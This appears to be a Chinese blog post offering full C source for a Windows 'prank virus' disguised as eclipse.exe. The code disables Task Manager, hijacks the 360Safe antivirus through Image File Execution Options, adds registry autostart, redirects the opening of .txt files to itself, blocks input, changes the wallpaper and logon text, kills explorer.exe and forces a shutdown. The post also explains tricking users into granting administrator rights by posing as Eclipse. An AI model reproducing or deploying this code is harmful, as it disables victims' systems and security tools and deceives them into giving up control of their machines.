简易的整人病毒(c语言实现)

暑假了解过了windows编程的相关知识,也知道了注册表相关的操作。那时候就想自己写一个整人的程序。结果一直从暑假鸽到现在才写完。不知道大家小时候,有没有遇到过一个弹出”你是不是猪”窗口的整人程序,我的这个程序其实就是在那个程序基础上扩展了一些东西,一个升级版。程序伪装成java的编译器程序eclipse.exe来执行

首先,我们弹出的窗口不能被任务管理器关掉。我们在弹出窗口之前,应该先禁用任务管理器。

HKEY hkey;
DWORD dwDisable=1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&dwDisable, sizeof(DWORD));
RegCloseKey(hkey);

通过在[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]下新建一个键值名为DisableTaskMgr,键值为1的注册表键值,来实现禁用任务管理器。

接下来就是弹出”你是猪吗”对话框

int iRet_isPig,iRet_isCheat;
while (TRUE) {
	iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
	if (iRet_isPig == IDYES) {
		MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
		break;
	}else if(iRet_isPig==IDNO){
		iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
		if (iRet_isCheat == IDYES) {
			MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
			continue;
		}else if (iRet_isCheat == IDNO) {
			MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
			virus();
			break;
		}
	}
}

简单的调用MessageBox。一些学过vb的初中生,高中生最喜欢拿这个函数整人了。在弹出”不,你是在骗我,哈皮”对话框后,开始执行恶意代码的主函数virus

virus函数主要实现了以下几个功能
1.获得当前文件所在的各种路径信息(执行文件所在路径,所在文件夹路径等等)
2.改变开机欢迎词
3.镜像劫持杀毒软件(现在的杀软太牛逼,这个功能其实一点屌用都没有)
4.黑屏
5.修改桌面背景
6.设置开机自启
7.设置txt文件自启

	//执行文件所在路径
    TCHAR szPath[MAX_PATH]={0};
	GetModuleFileName(NULL,szPath,MAX_PATH);
   		
   	//执行文件所在文件夹的路径 
   	TCHAR szFolderPath[MAX_PATH]={0};
   	strcpy(szFolderPath,szPath);
   	 (_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
    	
   	//要更换壁纸的保存路径 
    TCHAR szChangeWallPaper[MAX_PATH]={0};
    TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
    strcpy(szChangeWallPaper,szFolderPath);
    strcat(szChangeWallPaper,szPictureName);

通过GetModuleFileName来获得当前所在路径,得到的路径信息存储在szPath中,szFolderPath为所在文件夹的路径,szChangeWallPaper为我们想要更换的壁纸的保存路径

//修改开机欢迎词
	TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
	TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
	RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
	RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
	RegCloseKey(hkey);

//ImageHijack镜像劫持360
	TCHAR szHijk[300]={0};
	strcpy(szHijk,szPath);
	strcat(szHijk,TEXT(" 360Safe"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
	iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
	RegCloseKey(hkey);
	if(iRet==0){
		MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
	}else{
		MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
	}

修改开机欢迎词没什么好说的,这里主要讲讲镜像劫持。本来想绑一个360的,结果实战的时候发现完全没屌用。杀毒软件防的很好,以Administrator权限在Image File Execution Options下新建项都拒绝访问。后来又在网上搜了一下,好像只能以system超级管理员权限才能修改。
还有一种关闭360自我保护的方法,但是需要打开360界面调设置。不好实现。
所以镜像劫持的功能就只能看看了。

	//黑屏
	BlockInput(TRUE);
   	SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(2000);
    BlockInput(FALSE);
    	
    //修改桌面背景
    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
    
    RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
    RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
    RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
    RegCloseKey(hkey);

黑屏2秒,然后更换壁纸。

	//设置开机自启
    TCHAR szAutoRun[MAX_PATH]={0};
    strcpy(szAutoRun,szPath);
    strcat(szAutoRun,TEXT(" normal"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
    RegCloseKey(hkey);
        
    //设计txt文件自启
	RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
	RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
	RegCloseKey(hkey);

设置开机自启,txt文件自启。开机的时候,自动运行程序。双击打开txt文件的时候,也重定向到此程序。

Sleep(10000);
WinExec("taskkill /im explorer.exe /f",SW_HIDE);
Sleep(3000);
WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);

基础的DOS命令,关闭某个程序和关机

获得管理员权限提权
修改注册表需要管理员权限,这里主要的原理是自己调用自己,通过SHELLEXECUTEINFO的lpVerb参数为runas来实现.

VOID ManagerRun(LPCSTR exe,LPCSTR param){
	SHELLEXECUTEINFO ShExecInfo; 
	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
	ShExecInfo.hwnd = NULL;  
	ShExecInfo.lpVerb = "runas";  
	ShExecInfo.lpFile = exe; 
	ShExecInfo.lpParameters = param;   
	ShExecInfo.lpDirectory = NULL;  
	ShExecInfo.nShow = SW_SHOW;  
	ShExecInfo.hInstApp = NULL;   
	BOOL ret = ShellExecuteEx(&ShExecInfo);  
	CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
	//隐藏控制台窗口
	HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd){
		ShowWindow(hwnd,SW_HIDE);
	}
	if(argc == 1){
   	//双击打开,只有一个参数
		ShowWindow(GetConsoleWindow(),SW_HIDE);
		ManagerRun(argv[0],"admin");
		return 0;
	}else if(strcmp(argv[1],"admin")==0){
    	//管理员打开

	//程序主代码

	}
}

用户不会将管理员权限给一个不明的程序,我们这里主要是把程序exe设置为跟eclipse一样的图标,把它放到eclipse主文件夹内,并替换原来的eclipse.exe,狸猫换太子。用户看到是eclipse获取管理员权限时,往往不会怀疑,从而达到骗取管理员权限的目的。

程序运行效果:
p1
p2
p3
p4

===============================================================================
程序源码:

#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <tchar.h>
void virus(){
    DWORD dwWallPaperStyle=2;
    int iRet;
    HKEY hkey;
    //执行文件所在路径
    TCHAR szPath[MAX_PATH]={0};
	GetModuleFileName(NULL,szPath,MAX_PATH);
   		
   	//执行文件所在文件夹的路径 
   	TCHAR szFolderPath[MAX_PATH]={0};
   	strcpy(szFolderPath,szPath);
    (_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
    	
    //要更换壁纸的保存路径 
    TCHAR szChangeWallPaper[MAX_PATH]={0};
    TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
    strcpy(szChangeWallPaper,szFolderPath);
    strcat(szChangeWallPaper,szPictureName);
   	
   	//修改开机欢迎词
	TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
	TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
	RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
	RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
	RegCloseKey(hkey);
	
	//ImageHijack镜像劫持360
	TCHAR szHijk[300]={0};
	strcpy(szHijk,szPath);
	strcat(szHijk,TEXT(" 360Safe"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
	iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
	RegCloseKey(hkey);
	if(iRet==0){
		MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
	}else{
		MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
	}
	
	//黑屏
	BlockInput(TRUE);
    SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(2000);
    BlockInput(FALSE);
    	
    //修改桌面背景
    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
    
    RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
    RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
    RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
    RegCloseKey(hkey);
    	
    //设置开机自启
    TCHAR szAutoRun[MAX_PATH]={0};
    strcpy(szAutoRun,szPath);
    strcat(szAutoRun,TEXT(" normal"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
    RegCloseKey(hkey);
        
    //设计txt文件自启
	RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
	RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
	RegCloseKey(hkey);
    
    Sleep(10000);
    WinExec("taskkill /im explorer.exe /f",SW_HIDE);
    Sleep(3000);
	WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);
	
    //蓝屏 
//  WinExec("taskkill /im wininit.exe /f",SW_HIDE);
}
VOID ManagerRun(LPCSTR exe,LPCSTR param){
 SHELLEXECUTEINFO ShExecInfo; 
 ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
 ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
 ShExecInfo.hwnd = NULL;  
 ShExecInfo.lpVerb = "runas";  
 ShExecInfo.lpFile = exe; 
 ShExecInfo.lpParameters = param;   
 ShExecInfo.lpDirectory = NULL;  
 ShExecInfo.nShow = SW_SHOW;  
 ShExecInfo.hInstApp = NULL;   
 BOOL ret = ShellExecuteEx(&ShExecInfo);  
 CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
	//隐藏控制台窗口 
    HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd){
    	ShowWindow(hwnd,SW_HIDE);
	}
	
	if(argc == 1){
		//双击打开,只有一个参数 
       ShowWindow(GetConsoleWindow(),SW_HIDE);
       ManagerRun(argv[0],"admin");
       return 0;
    }else if(strcmp(argv[1],"admin")==0){
    	//管理员打开
    
    	//首先,禁用任务管理器
    	DWORD dwDisable=1;
    	HKEY hkey;
    	int iRet;
    	TCHAR ValueInfo[5];
    	DWORD ValueSize=sizeof(ValueInfo);
		RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
		RegQueryValueEx(hkey,"DisableTaskMgr",NULL,NULL,(LPBYTE)ValueInfo,&ValueSize);
		if(strcmp(ValueInfo,"\x01\x00\x00\x00")!=0){
			iRet=RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&dwDisable, sizeof(DWORD));
			RegCloseKey(hkey);
			if(iRet==0){
				MessageBox(NULL,TEXT("任务管理器已禁用"),TEXT("哈皮"),MB_OK);
			}else{
				MessageBox(NULL,TEXT("任务管理器禁用失败"),TEXT("Tips"),MB_OK);
			}
		}
		
    	int iRet_isPig,iRet_isCheat;
		while (TRUE) {
			iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
			if (iRet_isPig == IDYES) {
				MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
				break;
			}else if(iRet_isPig==IDNO){
				iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
				if (iRet_isCheat == IDYES) {
					MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
					continue;
				}else if (iRet_isCheat == IDNO) {
					MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
					virus();
					break;
				}
			}
		}
    }else if(strcmp(argv[1],"360Safe")==0){
    	//360劫持嘲讽 
    	//当用户打开360时,程序重定向到病毒程序
    	
		TCHAR *str[]={"不会吧","不会吧","不会真有人以为使用360就可以解决问题了吧"};
		for(int i=0;i<sizeof(str)/sizeof(str[0]);i++){
    		MessageBox(NULL,str[i],TEXT("Tips"),MB_OK);
		}			 
	}else if(strcmp(argv[1],"normal")==0){
		//病毒自启重定向 
		MessageBox(NULL, TEXT("哈哈,电脑好像中毒了呢"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
	}
    return 0;
}



  • 13
    点赞
  • 76
    收藏
    觉得还不错? 一键收藏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值